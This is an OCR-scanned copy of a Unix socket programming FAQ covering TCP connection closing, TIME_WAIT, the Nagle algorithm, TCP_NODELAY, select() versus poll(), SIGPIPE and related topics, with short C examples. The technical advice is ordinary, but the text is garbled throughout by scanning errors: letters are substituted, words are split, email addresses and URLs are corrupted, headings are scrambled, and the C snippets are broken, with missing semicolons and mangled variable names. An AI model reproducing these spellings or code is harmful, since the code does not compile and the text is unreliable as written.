
Title: Unix Network Progranmm ng

Aut hor: W Richard Stevens (rstevens@oao. edu)
Publ i sher: Prentice Hall, Inc.

| SBN: 0- 13-949876- 1

URL: http://ww. noao. edu/ ~r st evens

Title: Power Programmng with RPC

Aut hor: John Bl ooner

Publisher: OReilly & Associates, Inc.

I SBN: 0-937175-77-3

URL: ftp://ftp.uu.net/published/oreilly/nutshell/rpc/rpc.tar.Z

Recommended by: Lokmanm Merican (| okmann¥#pop4.jaring. ny@99. 1. 1. 88)
Title: UNI X PROGRAM DEVELOPMENT for IBM PC S | ncluding OSF/ Moti f
Aut hor: Thomas Yager

Publ i sher: Addi son Wesley, 1991

I SBN: 0-201-57727-5

1.6. \Were can | get nore information?
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| keep a copy of the resources | know of on ny socks page on the web.
| don't renenber where | got nobst of these itens, but sone day I'II
check out their sources, and provide ftp information here. For now,
you can get themat http://ww. auroraonline.conl sock-fag.

There is a good TCP/I P FAQ nai ntai ned by George Neville-Neil

(gnn@ws. com) which can be found at
http://ww. visi.conl ~khayes/ t cpi pfag. ht m

2. Questions regarding both dients and Servers (TCP/ SOCK_STREAM
2.1. Howcan | tell when a socket is closed on the other end?

From Andrew G erth (andrew@er| enst ar. denon. co. uk):

AFAl K:

If the peer calls close() or exits, w thout having nessed with
SO LINGER, then our calls to read() should return 0. It is less clear

what happens to wite() calls in this case; | would expect EPIPE, not
on the next call, but the one after.
If the peer reboots, or sets | _onoff =1, | _linger = 0 and then

cl oses, then we should get ECONNRESET (eventually) fromread(), or
EPI PE fromwite().

I should al so point out that when wite() returns EPIPE, it also
rai ses the SIGPl PE signal - you never see the EPIPE error unless you
handl e or ignore the signal.

If the peer remains unreachable, we should get sone other error.

I don't think that wite() can legitimately return 0. read() should
return O on receipt of a FINfromthe peer, and on all follow ng
calls.

So yes, you nust expect read() to return O.

As an exanpl e, suppose you are receiving a file down a TCP link; you
m ght handle the return fromread() |ike this:

rc = read(sock, buf, si zeof (buf));
if (rc > 0)

wite(file,buf,rc);
/* error checking on file omtted */

else if (rc == 0)

cl ose(file);
cl ose(sock);
/* file received successfully */

else /* rc <0 */

/* close file and delete it, since data is not conplete
report error, or whatever */

}

2.2. Wuat's with the second paraneter in bind()?

The man page shows it as "struct sockaddr *my_addr". The sockaddr
struct though is just a place holder for the structure it really
wants. You have to pass different structures depending on what kind
of socket you have. For an AF_| NET socket, you need the sockaddr_in
structure. |t has three fields of interest:

sin_famly
Set this to AF_I NET.

si n_port
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The network byte-ordered 16 bit port nunber

si n_addr
The host's ip nunber. This is a struct in_addr, which contains
only one field, s_addr which is a u_l ong

2.3. How do | get the port nunber for a given service?
Use the getservbynane() routine. This will return a pointer to a
servent structure. You are interested in the s_port field, which
contains the port nunber, with correct byte ordering (so you don't
need to call htons() onit). Here is a sanple routine

/* Take a service nane, and a service type, and return a port nunber

If the

service nane is not found, it tries it as a decimal nunber. The nunber

returned is byte ordered for the network. */
int atoport(char *service, char *proto) {

int port;

long int |port;

struct servent *serv

char *errpos

/* First try toread it from/etc/services */
serv = getservbynane(service, proto)
if (serv !'= NULL)
port = serv->s_port;
else { /* Not in services, maybe a nunber? */
| port = strtol (service, &rrpos, 0)
if ( (errpos[0] !=0) || (Ilport <1) || (lport > 5000) )
return -1; /* Invalid port address */
port = htons(l port)

}
return port;
}
2.4. If bind() fails, what should | do with the socket descriptor?
If you are exiting, | have been assured by Andrew that all unixes will
close open file descriptors on exit. |f you are not exiting though

you can just close it with a regular close() call

2.5. How do | properly close a socket?

This question is usually asked by people who try close(), because they
have seen that that is what they are supposed to do, and then run
netstat and see that their socket is still active. Yes, close() is
the correct nethod. To read about the TIMEWAIT state, and why it is
inmportant, refer to "~ 2.7 Please explain the TIME WAIT state."'"'.

2.6. Wen should | use shutdown()?

From M chael Hunter (nphunter @nx.com

shutdown() is useful for deliniating when you are done providing a
request to a server using TCP. A typical use is to send a request to
a server followed by a shutdown(). The server will read your request
followed by an ECF (read of O on nost unix inplenentations). This
tells the server that it has your full request. You then go read

bl ocked on the socket. The server will process your request and send
the necessary data back to you followed by a close. Wen you have
finished reading all of the response to your request you will read an
EOF thus signifying that you have the whol e response. |t should be
noted the TTCP (TCP for Transactions -- see R Steven's honme page)
provides for a better nethod of tcp transaction managenent.

2.7. Please explain the TIME_LWAIT state

Renenber that TCP guarantees all data transmitted will be delivered
if at all possible. Wen you close a socket, the server goes into a
TIMEWAIT state, just to be really really sure that all the data has
gone through. When a socket is closed, both sides agree by sending
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nessages to each other that they will send no nore data. This, it
seened to ne was good enough, and after the handshaking is done, the
socket should be closed. The problemis two-fold. First, there is no
way to be sure that the |ast ack was conmmuni cated successfully.

Second, there may be "wandering duplicates" left on the net that nust
be dealt with if they are delivered.

Andrew G erth (andrew@r| enstar. denon. co. uk) hel ped to explain the
cl osing sequence in the foll ow ng usenet posting:

Assune that a connection is in ESTABLI SHED state, and the client is
about to do an orderly release. The client's sequence no. is Sc, and
the server's is Ss. The pipe is enpty in both directions.

Cient Server

ESTABLI SHED ESTABLI SHED

(client closes)

ESTABLI SHED ESTABLI SHED
<CTL=FI N+ACK><SEQ=SCc><ACK=Ss> ------- >>

FIN WAIT_ 1
EFooocoooo <CTL=ACK><SEQ=Ss><ACK=Sc+1>

FIN WAIT_2 CLCSE WAI T
<<-------- <CTL=FI N+ACK><SEQ=Ss><ACK=Sc+1> (server cl oses)

LAST_ACK

<CTL=ACK>, <SEQ=Sc+1><ACK=Ss+1> ------- >>

TIMEWAIT CLOSED

(2*msl el apses. . .)

CLCSED

Note: the +1 on the sequence nunbers is because the FIN counts as one
byte of data. (The above diagramis equivalent to fig. 13 from RFC
793).

Now consi der what happens if the | ast of those packets is dropped in
the network. The client has done with the connection; it has no nore
data or control info to send, and never will have. But the server does
not know whether the client received all the data correctly; that's
what the last ACK segnent is for. Now the server nay or nmy not care
whet her the client got the data, but that is not an issue for TCP;, TCP
is areliable rotocol, and nust distinguish between an orderly
connection close where all data is transferred, and a connection abort
where data nmay or nay not have been | ost.

So, if that |ast packet is dropped, the server will retransmt it (it
is, after all, an unacknow edged segnent) and will expect to see a
suitabl e ACK segnment in reply. |If the client went straight to CLOSED,
the only possible response to that retransmt would be a RST, which
woul d indicate to the server that data had been | ost, when in fact it
had not been.

(Bear in mnd that the server's FIN segnment nay, additionally, contain
data.)

DI SCLAIMER: This is ny interpretation of the RFCs (I have read all the
TCP-rel ated ones | could find), but |I have not attenpted to exam ne

i npl ement ati on source code or trace actual connections in order to
verify it. | amsatisfied that the logic is correct, though.

More commentarty from Vic:

The second i ssue was addressed by Richard Stevens (rstevens@oao. edu,
aut hor of "Uni x Network Programm ng", see ~~1.5 Were can | get source
code for the book [book title]? '). | have put together quotes from
some of his postings and email which explain this. | have brought

t oget her paragraphs fromdifferent postings, and have made as few
changes as possi bl e.

From Ri chard Stevens (rstevens@oao. edu) :

If the duration of the TIMEWAIT state were just to handle TCP's full-
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dupl ex close, then the time would be rmuch smaller, and it woul d be
some function of the current RTO (retransm ssion timeout), not the MSL
(the packet lifetinme).

A coupl e of points about the TIME_WAIT state.

0 The end that sends the first FIN goes into the TIME WAIT state,
because that is the end that sends the final ACK. If the other
end's FINis lost, or if the final ACKis lost, having the end that
sends the first FIN maintain state about the connection guarantees
that it has enough information to retransmt the final ACK

o Realize that TCP sequence nunbers wap around after 2**32 bytes
have been transferred. Assune a connection between A 1500 (host A
port 1500) and B.2000. During the connection one segnent is |ost
and retransmitted. But the segnent is not really lost, it is held
by sonme internediate router and then re-injected into the network.
(This is called a "wandering duplicate".) But in the tinme between
the packet being lost & retransnmitted, and then reappearing, the
connection is closed (w thout any probl ens) and then anot her
connection is established between the sane host, sanme port (that
is, A 1500 and B.2000; this is called another "incarnation" of the
connection). But the sequence nunbers chosen for the new
incarnati on just happen to overlap with the sequence nunber of the
wandering duplicate that is about to reappear. (This is indeed
possi bl e, given the way sequence nunbers are chosen for TCP
connections.) Bingo, you are about to deliver the data fromthe
wandering duplicate (the previous incarnation of the connection) to
the new incarnation of the connection. To avoid this, you do not
all ow the sane incarnation of the connection to be reestablished
until the TIME WAIT state term nates.

Even the TIME_WAIT state doesn't conplete solve the second probl em
given what is called TIME_WAIT assassi nation. RFC 1337 has nore
detail s.

0 The reason that the duration of the TIME WAIT state is 2*MSL is
that the maxi num anount of tine a packet can wander around a
network is assuned to be MSL seconds. The factor of 2 is for the
round-trip. The recomended value for MSL is 120 seconds, but
Ber kel ey-derived inpl ementati ons normal ly use 30 seconds i nstead.
This means a TIME_ WAIT del ay between 1 and 4 minutes. Solaris 2.x
does indeed use the recommended MSL of 120 seconds.

A wandering duplicate is a packet that appeared to be |ost and was
retransmtted. But it wasn't really lost ... sonme router had

probl ens, held on to the packet for a while (order of seconds, could
be a minute if the TTL is large enough) and then re-injects the packet
back into the network. But by the tine it reappears, the application
that sent it originally has already retransmtted the data contai ned
in that packet.

Because of these potential problens with TIME_WAI T assassi nati ons, one
shoul d not avoid the TIME WAIT state by setting the SO LI NGER opti on
to send an RST instead of the normal TCP connection term nation
(FINACK/ FINACK). The TIME_WAIT state is there for a reason; it's
your friend and it's there to help you :-)

I have a | ong discussion of just this topic in nmy just-rel eased
"TCP/IP Illustrated, Volunme 3". The TIME WAIT state is indeed, one of
the nost nisunderstood features of TCP.

I"'mcurrently rewiting "Unix Network Progranm ng" (see """ 1.5 \Were
can | get source code for the book [book title]? "'). and will include
lots nore on this topic, as it is often confusing and m sunder st ood.

An additional note from Andrew
Closing a socket: if SO LINGER has not been called on a socket, then

close() is not supposed to discard data. This is true on SVR4.2 (and,
apparently, on all non-SVR4 systens) but apparently not on SVR4; the



use of either shutdown() or SO LI NGER seens to be required to
guar ant ee delivery of all data.

2.8. Wy does it take so long to detect that the peer died?

From Andrew G erth (andrew@er| enst ar. denon. co. uk):

Because by default, no packets are sent on the TCP connection unless
there is data to send or acknow edge.

So, if you are sinply waiting for data fromthe peer, there is no way
to tell if the peer has silently gone away, or just isn't ready to
send any nore data yet. This can be a problem (especially if the peer
is a PC, and the user just hits the Big Switch...).

One solution is to use the SO KEEPALI VE option. This option enabl es
periodi c probing of the connection to ensure that the peer is still
present. BE WARNED: the default timeout for this option is AT LEAST 2
HOURS. This timeout can often be altered (in a system dependent
fashion) but not normally on a per-connection basis (AFAlK).

RFC1122 specifies that this timeout (if it exists) nust be
configurable. On the mgjority of Unix variants, this configuration
may only be done globally, affecting all TCP connections which have
keepal i ve enabl ed. The nethod of changi ng the val ue, noreover, is
often difficult and/or poorly docunented, and in any case is different
for just about every version in existence.

If you nust change the val ue, | ook for something resenbling
tcp_keepidle in your kernel configuration or network options
configuration.

If you're sending to the peer, though, you have sone better

guar ant ees; since sending data inplies receiving ACKs fromthe peer,
then you will know after the retransmt tinmeout whether the peer is
still alive. But the retransmt tineout is designed to allow for
various contingencies, with the intention that TCP connections are not
dropped sinply as a result of mnor network upsets. So you shoul d
still expect a delay of several mnutes before getting notification of
the failure.

The approach taken by nost application protocols currently in use on
the Internet (e.g. FTP, SMIP etc.) is to inplenent read tineouts on
the server end; the server sinply gives up on the client if no
requests are received in a given tinme period (often of the order of 15
m nutes). Protocols where the connection is maintained even if idle
for long periods have two choices:

1. use SO _KEEPALI VE

2. use a higher-level keepalive nmechani sm (such as sending a null
request to the server every so often).

2.9. What are the pros/cons of select(), non-blocking I/O and Sl d O?

Usi ng non-bl ocking I/O nmeans that you have to poll sockets to see if
there is data to be read fromthem Polling should usually be avoi ded
since it uses nore CPU time than other techniques.

Using SIG O all ows your application to do what it does and have the
operating systemtell it (with a signal) that there is data waiting
for it on a socket. The only drawback to this soltion is that it can
be confusing, and if you are dealing with nultiple sockets you will
have to do a select() anyway to find out which one(s) is ready to be
read.

Using select() is great if your application has to accept data from

nore than one socket at a tinme since it will block until any one of a
nunber of sockets is ready with data. One other advantage to sel ect()
is that you can set a tine-out value after which control will be

returned to you whether any of the sockets have data for you or not.
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2.10. Wy do | get EPROTO fromread()?

From Steve Rago (sar @l c.com:

EPROTO neans that the protocol encountered an unrecoverable error for
that endpoint. EPROTO is one of those catch-all error codes used by
STREAMS- based drivers when a better code isn't avail abl e.

And an addition note from Andrew (andrew@er| enst ar. denon. co. uk):

Not quite to do with EPROTO fromread(), but | found out once that on
some STREAMS- based i npl ement ati ons, EPROTO coul d be returned by
accept() if the incom ng connection was reset before the accept

conpl et es.

On sone other inplenentations, accept seened to be capabl e of bl ocking
if this occured. This is inportant, since if select() said the

i steni ng socket was readable, then you would nornally expect not to
bl ock in the accept() call. The fix is, of course, to set nonbl ocking
nmode on the |listening socket if you are going to use select() on it.

2.11. How can | force a socket to send the data in it's buffer?

From Ri chard Stevens (rstevens@oao. edu):

You can't force it. Period. TCP nakes up its own mind as to when it
can send data. Now, normally when you call wite() on a TCP socket,
TCP will indeed send a segnment, but there's no guarantee and no way to
force this. There are |lots of reasons why TCP will not send a
segnent: a closed wi ndow and the Nagle algorithmare two things to
come imediately to mnd.

(Sni pped suggestion from Andrew G erth to use TCP_NODELAY)
Setting this only disables one of the many tests, the Nagle al gorithm
But if the original poster's problemis this, then setting this socket

option will help.

A quick glance at tcp_output() shows around 11 tests TCP has to nake
as to whether to send a segnent or not.

Now from Dr. Charles E. Canpbell Jr. (cec@ryphon.gsfc.nasa.gov):

As you've surm sed, |'ve never had any problemw th disabling Nagle's
algorithm |Its basically a buffering nmethod; there's a fixed overhead
for all packets, no nmatter how snall. Hence, Nagle's algorithm

collects snmall packets together (no nore than .2sec delay) and thereby
reduces the anmpbunt of overhead bytes being transferred. This approach
works well for rcp, for exanple: the .2 second delay isn't humanly
noti ceable, and nmultiple users have their small packets nore
efficiently transferred. Helps in university settings where nost

fol ks using the network are using standard tools such as rcp and ftp,
and prograns such as telnet may use it, too.

However, Nagle's algorithmis pure havoc for real-tine control and not
much better for keystroke interactive applications (control-C,
anyone?). It has seened to ne that the types of new prograns using
sockets that people wite usually do have problens with small packet
del ays. One way to bypass Nagle's algorithmselectively is to use
"out - of - band" nessaging, but that is limted in its content and has
other effects (such as a | oss of sequentiality) (by the way, out-of-
band is often used for that ctrl-C, too).

More from Vic:

So to sumit all up, if you are having trouble and need to flush the
socket, setting the TCP_NODELAY option will usually solve the problem
If it doesn't, you will have to use out-of-band nessagi ng, but
according to Andrew, "out-of-band data has its own problens, and |
don't think it works well as a solution to buffering delays (haven't
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tried it though). It is not 'expedited data' in the sense that exists
in sone other protocols; it is transmitted in-stream but with a
pointer to indicate where it is."

| asked Andrew sonething to the effect of "What promi ses does TCP nuke
about when it will get around to witing data to the network?" |
t hought his reply should be put under this question:

Not nmany prom ses, but sone.
I"I'l try and quote chapter and verse on this:
Ref er ences:

RFC 1122, "Requirenents for Internet Hosts" (also STD 3)
RFC 793, "Transm ssion Control Protocol" (al so STD 7)

1. The socket interface does not provide access to the TCP PUSH fl ag.
2. RFCl122 says (4.2.2.2):

A TCP MAY inplenment PUSH flags on SEND calls. |If PUSH flags are
not inplenented, then the sending TCP: (1) nust not buffer data
indefinitely, and (2) MJUST set the PSH bit in the last buffered
segnent (i.e., when there is no nore queued data to be sent).

3. RFC793 says (2.8):

When a receiving TCP sees the PUSH flag, it nmust not wait for nore
data fromthe sending TCP before passing the data to the receiving
process.

[ RFC1122 supports this statenent.]

4. Therefore, data passed to a wite() call nust be delivered to the
peer within a finite tine, unless prevented by protocol
consi derati ons.

5. There are (according to a post from Stevens quoted in the FAQ
[earlier in this answer - Vic]) about 11 tests made which could
del ay sending the data. But as | see it, there are only 2 that are
significant, since things like retransmt backoff are a) not under
the programmers control and b) nust either resolve within a finite
time or drop the connection.

The first of the interesting cases is "w ndow cl osed" (ie. there is
no buffer space at the receiver; this can delay data indefinitely, but
only if the receiving process is not actually reading the data that is
avai |l abl e)

Vi ¢ asks:

OK, it nmakes sense that if the client isn't reading, the data isn't
going to nake it across the connection. | take it this causes the
sender to block after the recieve queue is filled?

The sender bl ocks when the socket send buffer is full, so buffers wll
be full at both ends.

Wil e the window is closed, the sending TCP sends w ndow probe
packets. This ensures that when the window finally does open again,
the sending TCP detects the fact. [RFCL122, ss 4.2.2.17]

The second interesting case is "Nagle algorithm' (small segnents, e.g.
keystrokes, are delayed to formlarger segnents if ACKs are expected
fromthe peer; this is what is disabled with TCP_NCDELAY)

Vi ¢ Asks:
Does this mean that ny tcpclient sanple should set TCP_NODELAY to

ensure that the end-of-line code is indeed put out onto the network
when sent ?



No. tcpclient.c is doing the right thing as it stands; trying to wite
as nmuch data as possible in as fewcalls to wite() as is feasible.
Since the anpbunt of data is likely to be small relative to the socket
send buffer, then it is likely (since the connection is idle at that
point) that the entire request will require only one call to wite(),
and that the TCP layer will inmediately dispatch the request as a
single segnent (with the PSH flag, see point 2.2 above).

The Nagle algorithmonly has an effect when a second wite() call is
made while data is still unacknow edged. In the nornal case, this data
will be left buffered until either: a) there is no unacknow edged

data; or b) enough data is available to dispatch a full-sized segnent.
The del ay cannot be indefinite, since condition (a) nmust becone true
within the retransnit tineout or the connection dies.

Since this delay has negative consequences for certain applications,
general ly those where a stream of small requests are being sent

wi t hout response, e.g. nouse novenents, the standards specify that an
option nmust exist to disable it. [RFCl1122, ss 4.2.3.4]

Addi tional note: RFCl1122 al so says:

[ DI SCUSSI ON :
When the PUSH flag is not inplemented on SEND calls, i.e., when
the application/ TCP interface uses a pure stream ng nodel,
responsibility for aggregating any tiny data fragnents to form
reasonabl e si zed segnents is partially borne by the application
| ayer.

So prograns should avoid calls to wite() with snmall data | engths
(small relative to the MSS, that is); it's better to build up a
request in a buffer and then do one call to sock_wite() or
equi val ent .

The ot her possible sources of delay in the TCP are not really
control | able by the program but they can only delay the data
tenporarily.

Vi ¢ asks:

By tenporarily, you nean that the data will go as soon as it can, and
I won't get stuck in a position where one side is waiting on a
response, and the other side hasn't recieved the request? (O at
least | won't get stuck forever)

You can only deadl ock if you sonmehow manage to fill up all the buffers
in both directions... not easy.

If it is possible to do this, (can't think of a good exanple though),
the solution is to use nonbl ocki ng node, especially for wites. Then
you can buffer excess data in the program as necessary.

2.12. \Were can a get a library for progranm ng sockets?

There is the Sinple Sockets Library by Charles E. Canpbell, Jr. PhD.
and Terry MRoberts. The file is called ssl.tar.gz, and you can
download it fromthis faq's hone page. For c++ there is the Socket ++
library which is on ftp://ftp.virginia.edu/pub/socket++-1.10.tar.gz.
There is al so C++ Wappers, but | can't find this package anywhere.
The file is called C++_wappers.tar.gz. | have asked the peopl e where
it used to be stored where | can find it now, but | never heard back.
From http://ww. cs. wst!| . edu/ ~schm dt you should be able to find the
ACE toolkit. PING Software Group has sone libraries that include a
sockets interface anong other things. You can find them at
http://1ove. geol ogy. yal e. edu/ ~mar kl / pi ng.

| don't have any experience with any of these libraries, so | can't
recomrend one over the other.

2.13. How cone select says there is data, but read returns zero?
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The data that causes select to return is the EOF because the other
side has closed the connection. This causes read to return zero. For
nore information see ~"2.1 How can | tell when a socket is closed on
the other end?'’

2.14. Whats the difference between select() and poll()?

From Ri chard Stevens (rstevens@oao. edu):

The basic difference is that select()'s fd_set is a bit nask and
therefore has sone fixed size. It would be possible for the kernel to
not limt this size when the kernel is conpiled, allow ng the
application to define FD SETSIZE to whatever it wants (as the comments
in the system header inply today) but it takes nmore work. 4.4BSD s
kernel and the Solaris library function both have this limt. But |
see that BSD/CS 2.1 has now been coded to avoid this limt, soit's
doabl e, just a snall matter of programmng. :-) Soneone should file a
Sol aris bug report on this, and see if it ever gets fixed.

Wth poll (), however, the user nust allocate an array of pollfd
structures, and pass the nunber of entries in this array, so there's
no fundanental limt. As Casper notes, fewer systens have poll () than
select, so the latter is nore portable. Also, with original

i mpl enent ations (SVR3) you could not set the descriptor to -1 to tell
the kernel to ignore an entry in the pollfd structure, which nade it
hard to renove entries fromthe array; SVR4 gets around this.
Personal ly, | always use select() and rarely poll (), because | port ny
code to BSD environments too. Someone could wite an inplenmentation
of poll () that uses select(), for these environnents, but |'ve never
seen one. Both select() and poll () are being standardi zed by PGCSI X
1003. 1g.

2.15. How do | send [this] over a socket?

Anyt hing other than single bytes of data will probably get nangl ed

unl ess you take care. For integer values you can use htons() and
friends, and strings are really just a bunch of single bytes, so those
should be OK. Be careful not to send a pointer to a string though,
since the pointer will be meaningl ess on another machine. |f you need
to send a struct, you should wite sendthisstruct() and

readt hi sstruct () functions for it that do all the work of taking the
structure apart on one side, and putting it back together on the
other. If you need to send floats, you may have a | ot of work ahead
of you. You should read RFC 1014 which is about portable ways of
getting data from one machine to another (thanks to Andrew Gabriel for
pointing this out).

2.16. How do | use TCP_NODELAY?

First off, be sure you really want to use it in the first place. It
wi || disable the Nagle algorithm (see " 2.11 How can | force a socket
to send the data in it's buffer? '), which will cause network traffic
to increase, with snaller than needed packets wasting bandwi dth.

Al so, fromwhat | have been able to tell, the speed increase is very
small, so you should probably do it w thout TCP_NODELAY first, and
only turn it on if there is a problem

Here is a code exanple, with a warning about using it from Andrew
Gerth:

int flag = 1;
int result = setsockopt(sock, /* socket affected */
| PPROTO_TCP, /* set option at TCP |evel */
TCP_NCDELAY, /* name of option */
(char *) &flag, /* the cast is historical
cruft */
si zeof (int)); /* length of option value */

if (result < 0)
handl e the error
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TCP_NODELAY is for a specific purpose; to disable the Nagle buffering
algorithm It should only be set for applications that send frequent
smal |l bursts of information without getting an i medi ate response,
where tinely delivery of data is required (the canonical exanple is
nouse novenents).

2.17. What exactly does the Nagle al gorithmdo?

I't groups together as nuch data as it can between ACK' s from the other
end of the connection. | found this really confusing until Andrew

G erth (andrew@r| enstar. denon. co. uk) drew the follow ng di agram and
expl ai ned:

This diagramis not intended to be conplete, just to illustrate the
poi nt better...

Case 1: client wites 1 byte per wite() call. The programon host B
is tcpserver.c fromthe FAQ exanpl es.

CLI ENT SERVER
APP TCP TCP APP
[ connection setup om tted]
B > [1 byte]
__________________ >
___________ > "h"
[ack del ayed]
e - > [Nagl e al g. .
now in effect]
B > [ditto]
B > [ditto]
B > [ditto]
"\n"--------- > [ditto]
[ack 1 byte]
G ooooocoooooooaaooo
[send queued
dat a]
[5 bytes]
__________________ >
------------ > "ello\n"
Smmmeeeaa "HELLO n"

[6 bytes, ack 5 bytes]
"HELLO n" <----
[ack del ayed]
[ack 6 bytes]
Total segnents: 5. (If TCP_NODELAY was set, could have been up to 10.)
Tinme for response: 2*RTT, plus ack del ay.

Case 2: client wites all data with one wite() call.

CLI ENT SERVER
APP TCP TCP APP
[ connecti on setup om tted]
"hello\n" ---> [6 bytes]
__________________ >
------------ > "hel | o\ n"
S "HELLO n"
[6 bytes, ack 6 bytes]
G oooococoocooooocoooo
"HELLO n" <----

[ack del ayed]
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[ack 6 bytes]

Total segnents: 3.

Tinme for response = RTT (therefore m ni mum possi bl e).

Hope this makes things a bit clearer...

Note that in case 2, you don't want the inplenentation to gratuitously
del ay sending the data, since that would add straight onto the
response tine.

2.18. Wiat is the difference between read() and recv()?

From Andrew G erth (andrew@r| enst ar. denon. co. uk):

read() is equivalent to recv() with a flags paraneter of 0. O her
val ues for the flags paraneter change the behaviour of recv().
Simlarly, wite() is equivalent to send() with flags ==

It is unlikely that send()/recv() would be dropped; perhaps soneone
with a copy of the POSI X drafts for socket calls can check...

Portability note: non-unix systens may not allow read()/wite() on
sockets, but recv()/send() are usually ok. This is true on Wndows and
Cs/ 2, for exanple.

2.19. | see that send()/wite() can generate SIGPIPE. |Is there any
advant age to handling the signal, rather than just ignoring it and
checking for the EPIPE error? Are there any useful paraneters passed
to the signal catching function?

From Andrew G erth (andrew@er| enstar. denpn. co. uk):

In general, the only paraneter passed to a signal handler is the
signal nunber that caused it to be invoked. Sone systens have
optional additional paraneters, but they are no use to you in this
case.

My advice is to just ignore SICGPIPE as you suggest. That's what | do
in just about all of ny socket code; errno values are easier to handle
than signals (in fact, the first revision of the FAQ failed to nention
SIGPIPE in that context; |'d got so used to ignoring it...)

There is one situation where you should not ignore SIGPIPE;, if you are
going to exec() another programw th stdout redirected to a socket. In
this case it is probably wise to set SIGPIPE to SI G DFL before doing
the exec().

2.20. After the chroot(), calls to socket() are failing. Wy?

From Andrew G erth (andrew@r| enst ar. denon. co. uk):

On systens where sockets are inplenented on top of Streans (e.g. all
SysV-based systens, presunmably including Solaris), the socket()
function will actually be opening certain special files in /dev. You
will need to create a /dev directory under your fake root and popul ate
it with the required device nodes (only).

Your system docunentation may or may not specify exactly which device
nodes are required; | can't help you there (sorry). (Editors note:
Adrian Hall (adrian@waltham harvard. net) suggested checking the nan
page for ftpd, which should list the files you need to copy and

devi ces you need to create in the chroot'd environnent.)

A | ess-obvious issue with chroot() is if you call syslog(), as many
daenons do; syslog() opens (depending on the systen) either a UDP
socket, a FIFO or a Uni x-donmain socket. So if you use it after a
chroot () call, nake sure that you call openlog() *before* the chroot.
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2.21. Wy do | keep getting EINTR fromthe socket calls?

This isn't really so nuch an error as an exit condition. It means
that the call was interrupted by a signal. Any call that m ght bl ock
shoul d be wapped in a | oop that checkes for EINTR, as is done in the
exanpl e code (See "“6. Sanple Source Code'').

2.22. Wen will ny application receive SIGPlPE?

From Ri chard Stevens (rstevens@oao. edu) :

Very sinple: with TCP you get SIGPIPE if your end of the connection
has received an RST fromthe other end. Wat this also neans is that
if you were using select instead of wite, the select would have

i ndi cated the socket as being readable, since the RST is there for you
to read (read will return an error with errno set to ECONNRESET).

Basically an RST is TCP's response to sone packet that it doesn't
expect and has no other way of dealing with. A conmpn case is when
the peer closes the connection (sending you a FIN) but you ignore it
because you're witing and not reading. (You should be using select.)
So you wite to a connection that has been closed by the other end and
the oether end's TCP responds with an RST.

2.23. Wat are socket exceptions? What is out-of-band data?

Unl i ke exceptions in C++, socket exceptions do not indicate that an
error has occured. Socket exceptions usually refer to the
notification that out-of-band data has arrived. CQut-of-band data
(called "urgent data" in TCP) |ooks to the application |like a separate
stream of data fromthe nain data stream This can be useful for
separating two different kinds of data. Note that just because it is
called "urgent data" does not nean that it will be delivered any
faster, or with higher priorety than data in the in-band data stream
Al so beware that unlike the main data stream the out-of-bound data
may be lost if your application can't keep up with it.

2.24. running on? How can | find the full hostname (FQN) of the
system|'m

From Ri chard Stevens (rstevens@oao. edu):

Sone systens set the hostnanme to the FQDN and others set it to just
the unqualified host nane. | know the current BI ND FAQ recommends t he
FQDN, but nost Sol aris systens, for exanple, tend to use only the
unqual i fi ed host nane.

Regardl ess, the way around this is to first get the host's nane
(perhaps an FQDN, perhaps unaualified). Mst systens support the

Posi x way to do this using uname(), but ol der BSD systens only provide
gethostnanme(). Call gethostbynanme() to find your |P address. Then
take the | P address and call gethostbyaddr(). The h_nanme nenber of
the hostent{} should then be your FQDN.

2.25. How would | put ny socket in non-blocking npbde?

From Andrew G erth (andrew@r| enst ar. denon. co. uk):

Technically, fcntl (soc, F_SETFL, O NONBLOCK) is incorrect since it

cl obbers all other file flags. Generally one gets away with it since
the other flags (O APPEND for exanple) don't really apply nuch to
sockets. In a simlarly rough vein, you woul d use fcntl (soc, F_SETFL,
0) to go back to bl ocking node.

To do it right, use F_GETFL to get the current flags, set or clear the
O_NONBLOCK fl ag, then use F_SETFL to set the flags.

And yes, the flag can be changed either way at will.

3. Witing Gient Applications (TCP/ SOCK_STREAM
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3.1. How do | convert a string into an internet address?

If you are reading a host's address fromthe command |ine, you may not
know i f you have an aaa. bbb. ccc.ddd styl e address, or a

host . domai n. com styl e address. Wat | do with these, is first try to

use it as a aaa.bbb.ccc.ddd type address, and if that fails, then do a
nane | ookup on it. Here is an exanple:

/* Converts ascii text to in_addr struct. NULL is returned if the
address can not be found. */

struct in_addr *atoaddr(char *address) {
struct hostent *host;
static struct in_addr saddr

/* First try it as aaa. bbb.ccc.ddd. */

saddr.s_addr = inet_addr (address)
if (saddr.s_addr != -1) {

return &saddr;
}

host = get host bynane(address);
if (host !'= NULL) {
return (struct in_addr *) *host->h_addr _|ist;

}
return NULL;

3.2. How can ny client work through a firewall/proxy server?

If you are running through separate proxies for each service, you
shoul dn't need to do anything. |f you are working through sockd, you
will need to "socksify" your application. Details for doing this can
be found in the package itself, which is available at:

ftp://ftp.net.con socks.cstc/socks.cstc.4.2.tar.gz

you can get the socks faq at:

ftp://coast.cs. purdue. edu/ pub/t ool s/ uni x/ socks/ FAQ

3.3. Wy does connect() succeed even before nmy server did an
accept () ?

From Andrew G erth (andrew@er| enst ar. denon. co. uk)

Once you have done a listen() call on your socket, the kernel is
primed to accept connections on it. The usual UN X i npl enentation of
this works by immedi ately conpl eting the SYN handshake for any
incomi ng valid SYN segnents (connection attenpts), creating the socket
for the new connection, and keeping this new socket on an internal
queue ready for the accept() call. So the socket is fully open before
the accept is done

The other factor in this is the 'backlog' paraneter for listen(); that
defines how many of these conpl eted connections can be queued at one
time. |If the specified nunber is exceeded, then new incom ng connects
are sinply ignored (which causes themto be retried)

3.4. Wiy do | sonetines |oose a server's address when using nore than
one server?

From Andrew G erth (andrew@r| enst ar. denon. co. uk)

Take a careful |ook at struct hostent. Notice that al nost everything
init is a pointer? All these pointers will refer to statically

al |l ocat ed dat a.

For exanple, if you do

struct hostent *host = gethost bynane(host nane)

then (as you shoul d know) a subsequent call to gethostbyname() wll
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overwite the structure pointed to by 'host'
But if you do

struct hostent nyhost;
struct hostent *hostptr = gethostbynanme(host nane)
if (hostptr) myhost = *host;

to make a copy of the hostent before it gets overwitten, then it
still gets clobbered by a subsequent call to gethostbynane(), since
al t hough nyhost won't get overwitten, all the data it is pointing to
will be

You can get round this by doing a proper 'deep copy' of the hostent
structure, but this is tedious. My recommendati on woul d be to extract
the needed fields of the hostent and store themin your own way.

3.5. How can | set the tinmeout for the connect() systemcall?

From Ri chard Stevens (rstevens@oao. edu):

Normal | y you cannot change this. Solaris does let you do this, on a
per-kernel basis with the ndd tcp_i p_abort_cinterval paraneter

